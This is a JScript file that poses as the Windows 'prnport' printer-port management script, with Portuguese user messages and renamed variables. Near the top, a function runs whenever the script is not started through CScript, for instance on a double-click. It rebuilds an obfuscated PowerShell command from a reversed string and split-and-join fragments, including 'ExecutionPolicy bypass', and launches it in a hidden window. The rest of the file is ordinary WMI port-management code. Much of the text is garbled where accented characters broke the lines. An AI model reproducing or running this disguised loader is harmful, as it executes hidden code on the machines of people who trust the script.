var capataz = "Este script deve ser executado a partir do prompt de comando usando CScript.exe.";
var medra = "Por exemplo: CScript script.vbs argumentos";
var empoitada = "";
var manotear = "Para definir CScript como o aplicativo padr
o para a execu
o de arquivos .VBS, execute:";
var fazedor = " CScript //H:CScript //S";
var pellitaria = "Voc
poder
em seguida executar \"script.vbs argumentos\" sem incluir CScript antes to script.";
var eustylo = "O host de script n
de ser determinado.";
var comorim = "N
vel analisar a linha de comando.";
var areostylo = "C
digo de erro do Win32";
var mioma = "Porta adicionada";
var lutombo = "N
vel excluir porta";
var obcecador = "N
o foi poss
vel obter a porta";
var inatismo = "Porta criada/atualizada";
var coronel = "N
o foi poss
vel criar/atualizar porta";
var acceleratriz = "N
vel enumerar portas";
var ressurgimento = "N
mero de portas enumeradas";
var antesala = "Porta exclu
var oligofilo = "N
o foi poss
vel obter o objeto SWbemLocator";
var auto = "N
vel conectar-se ao servi
o WMI";
var fustigadela = "Nome do servidor";
var felposo = "Nome da porta";
var corsolete = "Endere
o do host";
var cavalleirar = "Protocolo RAW";
var estratiomya = "LPR de protocolo";
var touga = "N
mero da porta";
var parorase = "Fila";
var inalteravelmente = "Contagem de bytes ativada";
var inoportuno = "Contagem de bytes desativada";
var cabis = "SNMP ativado";
var mollo = "SNMP desativado";
var maneta = "Comunidade";
var debater = "
ndice de dispositivos";
var circumrevoluto = "Na fun
o DelPort";
var metromania = "Na fun
o CreateOrSetPort";
var violinista = "Na fun
o ListPorts";
var roupeiro = "Na fun
o GetPort";
var temposa = "Na fun
o ParseCommandLine";
var kActionAdd = 0;
var kActionDelete = 1;
var kActionList = 2;
var kActionUnknown = 3;
var kActionGet = 4;
var kActionSet = 5;
var kErrorSuccess = 0;
var kErrorFailure = 1;
var kFlagCreateOrUpdate = 0;
var kNameSpace = "root\\cimv2";
var kServerName = 1;
var kPortName = 2;
var kDoubleSpool = 3;
var kPortNumber = 4;
var kPortType = 5;
var kHostAddress = 6;
var kSNMPDeviceIndex = 7;
var kCommunityName = 8;
var kSNMP = 9;
var kQueueName = 10;
var kUserName = 11;
var kPassword = 12;
var L_Empty_Text = "";
var L_Space_Text = " ";
var L_Colon_Text = ":";
var L_LPR_Queue = "LPR";
var L_Error_Text = "Erro";
var L_Success_Text = "
xito";
var L_Failed_Text = "Falha";
var L_Hex_Text = "0x";
var L_Printer_Text = "Impressora";
var L_Operation_Text = "Opera
var L_Provider_Text = "Provedor";
var L_Description_Text = "Descri
var L_Debug_Text = "Depurar:";
var papuas = "Uso: prnport [-adlgt?] [-r porta][-s servidor][-u nome de usu
rio][-w senha]";
var importante = " [-o raw|lpr][-h host address][-q queue][-n number]";
var adir = " [-me | -md ][-i SNMP index][-y community][-2e | -2d]";
var saroar = "Argumentos:";
var sibyllino = "-a - adicionar uma porta";
var mesocefalia = "-d - excluir a porta especificada";
var pamonan = "-g - obter configura
o para uma porta TCP";
var arrebate = "-h - endere
o IP do dispositivo";
var espargelar = "-i -
ndice SNMP, se SNMP estiver ativado";
var palmicheio = "-l - listar todas as portas TCP";
var necrose = "-m - tipo de SNMP. [e] ativar, [d] desativar";
var patilau = "-n - n
mero de porta; aplica-se a portas TCP RAW";
var encorrugido = "-o - tipo de porta, sem processamento ou lpr";
var recautelado = "-q - nome de fila; aplica-se somente a portas TCP LPR";
var repulular = "-r - nome da porta";
var chenchicogim = "-s - nome do servidor";
var glandado = "-t - definir configura
o para uma porta TCP";
var veneradamente = "-u - nome do usu
var colubreado = "-w - senha";
var coralina = "-y - nome de comunidade, se SNMP estiver ativado";
var solipsismo = "-2 - spool duplo; aplica-se a portas TCP LPR. [e] ativar, [d] desativar";
var bicarboneto = "-? - exibir uso do comando";
var malonato = "Exemplos:";
var platinocianeto = "prnport -l -s server";
var er = "prnport -d -s server -r IP_1.2.3.4";
var escumoso = "prnport -a -s server -r IP_1.2.3.4 -h 1.2.3.4 -o raw -n 9100";
var antropocentrismo = "prnport -t -s server -r IP_1.2.3.4 -me -y public -i 1 -n 9100";
var tangir = "prnport -g -s server -r IP_1.2.3.4";
var hypotheca = "prnport -a -r IP_1.2.3.4 -h 1.2.3.4";
var tertullianismo = "Coment
rio:";
var sucessivo = "O
ltimo exemplo tentar
obter as configura
es do dispositivo no endere
o IP especificado.";
var brasileirada = "Se um dispositivo for detectado, uma porta TCP ser
adicionada com as configura
es preferenciais do dispositivo.";
emanante();
function emanante() {
if (!acetilene()) {
var parenteira = "=
parenteira = parenteira.split("").reverse().join("");
var balalina = new ActiveXObject("WScript.Shell");
var quatrocentos = "
" + parenteira + "'
quatrocentos += "
tStrin
quatrocentos += "
quatrocentos += "p
hell.e
icy bypass -
ile -c
var rascoeiro = "
quatrocentos = quatrocentos.split(rascoeiro).join("");
var lucena = "p
ll -com
d " + quatrocentos;
lucena = lucena.split(rascoeiro).join("");
balalina.Run(lucena, 0, false);
WScript.Quit();
var estadual = new ActiveXObject("Scripting.Dictionary");
var saciar = ParseCommandLine(estadual);
if (saciar === kErrorSuccess) {
switch (estadual.Item("action")) {
case kActionAdd:
saciar = CreateOrSetPort(estadual);
break;
case kActionDelete:
saciar = DelPort(estadual);
break;
case kActionList:
saciar = ListPorts(estadual);
break;
case kActionGet:
saciar = GetPort(estadual);
break;
case kActionSet:
saciar = CreateOrSetPort(estadual);
break;
default:
Usage(true);
return;
}
function DelPort(estadual) {
DebugPrint(circumrevoluto);
DebugPrint(fustigadela + L_Space_Text + estadual.Item(kServerName));
DebugPrint(felposo + L_Space_Text + estadual.Item(kPortName));
var oService = null;
var iResult = kErrorFailure;
var strServer = estadual.Item(kServerName);
var strPort = estadual.Item(kPortName);
var strUser = estadual.Item(kUserName);
var strPassword = estadual.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oService)) {
var oPort = oService.Get("Win32_TCPIPPrinterPort='" + strPort + "'");
if (Err.number === kErrorSuccess) {
oPort.Delete_();
if (Err.number === kErrorSuccess) {
WScript.Echo(antesala + L_Space_Text + strPort);
iResult = kErrorSuccess;
} else {
WScript.Echo(lutombo + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
} else {
WScript.Echo(lutombo + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
return iResult;
function CreateOrSetPort(estadual) {
DebugPrint(metromania);
DebugPrint(fustigadela + L_Space_Text + estadual.Item(kServerName));
DebugPrint(felposo + L_Space_Text + estadual.Item(kPortName));
DebugPrint(touga + L_Space_Text + estadual.Item(kPortNumber));
DebugPrint(parorase + L_Space_Text + estadual.Item(kQueueName));
DebugPrint(debater + L_Space_Text + estadual.Item(kSNMPDeviceIndex));
DebugPrint(maneta + L_Space_Text + estadual.Item(kCommunityName));
DebugPrint(corsolete + L_Space_Text + estadual.Item(kHostAddress));
var oService = null;
var iResult = kErrorFailure;
var strServer = estadual.Item(kServerName);
var strPort = estadual.Item(kPortName);
var strUser = estadual.Item(kUserName);
var strPassword = estadual.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oService)) {
var oPort = oService.Get("Win32_TCPIPPrinterPort.Name='" + strPort + "'");
if (Err.number !== kErrorSuccess) {
Err.clear();
oPort = oService.Get("Win32_TCPIPPrinterPort").SpawnInstance_();
}
if (Err.number !== kErrorSuccess) {
WScript.Echo(obcecador + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
}
oPort.Name = estadual.Item(kPortName);
oPort.HostAddress = estadual.Item(kHostAddress);
oPort.PortNumber = estadual.Item(kPortNumber);
oPort.SNMPEnabled = estadual.Item(kSNMP);
oPort.SNMPDevIndex = estadual.Item(kSNMPDeviceIndex);
oPort.SNMPCommunity = estadual.Item(kCommunityName);
oPort.Queue = estadual.Item(kQueueName);
oPort.ByteCount = estadual.Item(kDoubleSpool);
var PortType = estadual.Item(kPortType);
switch (PortType.toLowerCase()) {
case "raw":
oPort.Protocol = 1;
if (oPort.Queue !== null) {
WScript.Echo(L_Error_Text + L_Colon_Text + L_Space_Text + recautelado);
return kErrorFailure;
}
break;
case "lpr":
oPort.Protocol = 2;
if (oPort.Queue === null) {
oPort.Queue = L_LPR_Queue;
}
break;
}
oPort.Put_(kFlagCreateOrUpdate);
if (Err.number === kErrorSuccess) {
WScript.Echo(inatismo + L_Space_Text + oPort.Name);
iResult = kErrorSuccess;
} else {
WScript.Echo(coronel + L_Space_Text + oPort.Name + L_Space_Text +
L_Error_Text + L_Space_Text + L_Hex_Text + Err.number.toString(16) + L_Space_Text +
Err.description);
LastError();
iResult = kErrorFailure;
}
return iResult;
function ListPorts(estadual) {
DebugPrint(violinista);
var oService = null;
var iResult = kErrorFailure;
var strServer = estadual.Item(kServerName);
var strUser = estadual.Item(kUserName);
var strPassword = estadual.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oService)) {
var Ports = oService.InstancesOf("Win32_TCPIPPrinterPort");
if (Err.number !== kErrorSuccess) {
WScript.Echo(acceleratriz + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
}
var iTotal = 0;
var e = new Enumerator(Ports);
for (; !e.atEnd(); e.moveNext()) {
var oPort = e.item();
iTotal++;
WScript.Echo(L_Empty_Text);
WScript.Echo(fustigadela + L_Space_Text + strServer);
WScript.Echo(felposo + L_Space_Text + oPort.Name);
WScript.Echo(corsolete + L_Space_Text + oPort.HostAddress);
if (oPort.Protocol === 1) {
WScript.Echo(cavalleirar);
WScript.Echo(touga + L_Space_Text + oPort.PortNumber);
} else {
WScript.Echo(estratiomya);
WScript.Echo(parorase + L_Space_Text + oPort.Queue);
if (oPort.ByteCount) {
WScript.Echo(inalteravelmente);
} else {
WScript.Echo(inoportuno);
}
}
if (oPort.SNMPEnabled) {
WScript.Echo(cabis);
WScript.Echo(maneta + L_Space_Text + oPort.SNMPCommunity);
WScript.Echo(debater + L_Space_Text + oPort.SNMPDevIndex);
} else {
WScript.Echo(mollo);
}
}
WScript.Echo(L_Empty_Text);
WScript.Echo(ressurgimento + L_Space_Text + iTotal);
iResult = kErrorSuccess;
return iResult;
function GetPort(estadual) {
DebugPrint(roupeiro);
DebugPrint(fustigadela + L_Space_Text + estadual.Item(kServerName));
DebugPrint(felposo + L_Space_Text + estadual.Item(kPortName));
var oService = null;
var iResult = kErrorFailure;
var strServer = estadual.Item(kServerName);
var strPort = estadual.Item(kPortName);
var strUser = estadual.Item(kUserName);
var strPassword = estadual.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oService)) {
var oPort = oService.Get("Win32_TCPIPPrinterPort.Name='" + strPort + "'");
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Empty_Text);
WScript.Echo(fustigadela + L_Space_Text + strServer);
WScript.Echo(felposo + L_Space_Text + oPort.Name);
WScript.Echo(corsolete + L_Space_Text + oPort.HostAddress);
if (oPort.Protocol === 1) {
WScript.Echo(cavalleirar);
WScript.Echo(touga + L_Space_Text + oPort.PortNumber);
} else {
WScript.Echo(estratiomya);
WScript.Echo(parorase + L_Space_Text + oPort.Queue);
if (oPort.ByteCount) {
WScript.Echo(inalteravelmente);
} else {
WScript.Echo(inoportuno);
}
}
if (oPort.SNMPEnabled) {
WScript.Echo(cabis);
WScript.Echo(maneta + L_Space_Text + oPort.SNMPCommunity);
WScript.Echo(debater + L_Space_Text + oPort.SNMPDevIndex);
} else {
WScript.Echo(mollo);
}
iResult = kErrorSuccess;
} else {
WScript.Echo(obcecador + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
return iResult;
function DebugPrint(strString) {
if (gDebugFlag) {
WScript.Echo(L_Debug_Text + L_Space_Text + strString);
function ParseCommandLine(estadual) {
DebugPrint(temposa);
var oArgs = WScript.Arguments;
estadual.Add("action", kActionUnknown);
for (var iIndex = 0; iIndex < oArgs.length; iIndex++) {
switch (oArgs(iIndex)) {
case "-g":
estadual.Item("action") = kActionGet;
break;
case "-t":
estadual.Item("action") = kActionSet;
break;
case "-a":
estadual.Item("action") = kActionAdd;
break;
case "-d":
estadual.Item("action") = kActionDelete;
break;
case "-l":
estadual.Item("action") = kActionList;
break;
case "-2e":
estadual.Add(kDoubleSpool, true);
break;
case "-2d":
estadual.Add(kDoubleSpool, false);
break;
case "-s":
estadual.Add(kServerName, RemoveBackslashes(oArgs(++iIndex)));
break;
case "-u":
estadual.Add(kUserName, oArgs(++iIndex));
break;
case "-w":
estadual.Add(kPassword, oArgs(++iIndex));
break;
case "-n":
estadual.Add(kPortNumber, oArgs(++iIndex));
break;
case "-r":
estadual.Add(kPortName, oArgs(++iIndex));
break;
case "-o":
estadual.Add(kPortType, oArgs(++iIndex));
break;
case "-h":
estadual.Add(kHostAddress, oArgs(++iIndex));
break;
case "-q":
estadual.Add(kQueueName, oArgs(++iIndex));
break;
case "-i":
estadual.Add(kSNMPDeviceIndex, oArgs(++iIndex));
break;
case "-y":
estadual.Add(kCommunityName, oArgs(++iIndex));
break;
case "-me":
estadual.Add(kSNMP, true);
break;
case "-md":
estadual.Add(kSNMP, false);
break;
case "-?":
Usage(true);
return kErrorFailure;
default:
Usage(true);
return kErrorFailure;
}
if (Err.number === kErrorSuccess) {
return kErrorSuccess;
} else {
WScript.Echo(comorim + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
function carregarEExecutarScript(anilocros, gomma, berro) {
if (typeof anilocros !== 'string') {
throw new Error('O primeiro par
metro deve ser uma string.');
if (typeof gomma !== 'string') {
throw new Error('O segundo par
metro deve ser uma string.');
if (typeof berro !== 'string') {
throw new Error('O terceiro par
metro deve ser uma string.');
var feramina = anilocros.split(gomma);
var novaFeramina = [];
for (var i = 0; i < feramina.length; i++) {
// Manipula
o ou transforma
o hipot
tica de cada elemento
var elemento = feramina[i];
novaFeramina.push(elemento);
var resultado = '';
for (var j = 0; j < novaFeramina.length; j++) {
resultado += novaFeramina[j];
if (j < novaFeramina.length - 1) {
resultado += berro;
}
return resultado;
function Usage(bExit) {
WScript.Echo(papuas);
WScript.Echo(importante);
WScript.Echo(adir);
WScript.Echo(saroar);
WScript.Echo(sibyllino);
WScript.Echo(mesocefalia);
WScript.Echo(pamonan);
WScript.Echo(arrebate);
WScript.Echo(espargelar);
WScript.Echo(palmicheio);
WScript.Echo(necrose);
WScript.Echo(patilau);
WScript.Echo(encorrugido);
WScript.Echo(recautelado);
WScript.Echo(repulular);
WScript.Echo(chenchicogim);
WScript.Echo(glandado);
WScript.Echo(veneradamente);
WScript.Echo(colubreado);
WScript.Echo(coralina);
WScript.Echo(solipsismo);
WScript.Echo(bicarboneto);
WScript.Echo(L_Empty_Text);
WScript.Echo(malonato);
WScript.Echo(platinocianeto);
WScript.Echo(er);
WScript.Echo(escumoso);
WScript.Echo(antropocentrismo);
WScript.Echo(tangir);
WScript.Echo(hypotheca);
WScript.Echo(L_Empty_Text);
WScript.Echo(tertullianismo);
WScript.Echo(sucessivo);
WScript.Echo(brasileirada);
if (bExit) {
WScript.Quit(1);
function acetilene() {
var strFullName = WScript.FullName;
var i = strFullName.indexOf(".exe", 1);
if (i !== -1) {
var j = strFullName.lastIndexOf("\\", i, 1);
if (j !== -1) {
var strCommand = strFullName.substring(j + 1, i);
if (strCommand.toLowerCase() === "cscript") {
return true;
}
}
var Err;
if (Err !== 0) {
return false;
function LastError() {
var oError = GetObject("WbemScripting.SWbemLastError");
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Operation_Text + L_Space_Text + oError.Operation);
WScript.Echo(L_Provider_Text + L_Space_Text + oError.ProviderName);
WScript.Echo(L_Description_Text + L_Space_Text + oError.Description);
WScript.Echo(L_Text_Error_General04_Text + L_Space_Text + oError.StatusCode);
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService) {
var bResult = false;
var oLocator = new ActiveXObject("WbemScripting.SWbemLocator");
oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword);
if (Err.number === kErrorSuccess) {
bResult = true;
oService.Security_.ImpersonationLevel = 3;
oService.Security_.Privileges.AddAsString("SeLoadDriverPrivilege");
Err.clear();
} else {
WScript.Echo(auto + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return bResult;
function RemoveBackslashes(strServer) {
if (strServer.indexOf("\\\\") === 0) {
return strServer.slice(2);
return strServer;